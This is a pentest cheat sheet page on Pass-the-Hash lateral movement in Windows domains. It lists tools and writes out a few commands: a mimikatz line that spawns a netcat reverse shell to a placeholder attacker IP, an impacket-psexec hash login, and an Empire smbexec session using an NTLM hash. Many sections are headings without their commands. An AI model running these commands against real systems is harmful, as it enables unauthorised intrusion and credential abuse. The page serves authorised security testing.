githubEdit

Pass the Hash (PtH)

Pass-the-Hash Lateral Movement

Tools: impacket , psexec , crackmapexec/netexec , evil-winrm , xfreerdp/remmina , smbclient , mimikatz

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, NetExec and evil-winrm, it's -H.

Interactive shell

1) mimikatz

mimikatz "privilege::debug sekurlsa::pth /user USER /domain:DOMAIN /ntlm:HASH /run:"C\tools\nc64.exe -e cmd.exe ATTACK_IP PORT"

2) psexec (Impacket and Windows)

psexec.exe -AcceptEULA \\IP

impacket-psexec -hashes":HASH" USER@IP

3) Empire C2

usemodule lateral_movement/invoke_smbexec

Parameters

(Empire: usemodule/powershell/lateral_movement/invoke_smbexec) > set ComputerName '10.10.10.100'
(Empire: usemodule/powershell/lateral_movement/invoke_smbexec) > set Domain security.local
(Empire: usemodule/powershell/lateral_movement/invoke_smbexec) > set Listener http
(Empire: usemodule/powershell/lateral_movement/invoke_smbexec) > set Hash 58a478135a93ac3bf058a5ea0e8fdb71
(Empire: usemodule/powershell/lateral_movement/invoke_smbexec) > set Username moe
(Empire: usemodule/powershell/lateral_movement/invoke_smbexec) > execute

4) Metasploit

Set hash as password

5) Invoke-TheHash

SMB Options

Check SMB signing

Check for command execution

Pass hash to target and execute specified command

Enumerate SMB Shares / Users / Net Sessions

WMI Options

Check for command execution (WMI)

Pass hash to target and execute specified command (WMI)

6) Mimikatz

TIP: Both of these techniques give NT Authority/System shell (System/Admin access)

Pseudo-shell (File write and read) (System/Admin access)

1) crackmapexec/netexec

2) Impacket Library

These techniques give NT Authority/System shell

WinRM

1) evil-winrm

SMB

1) smbclient

RDP

1) reg.py and xfreerdp/remmina

MSSQL

1) crackmapexec/netexec

2) mssqlclient.py

EXTRACT NTLM HASHES FROM LOCAL SAM

PtH (Linux)

Last updated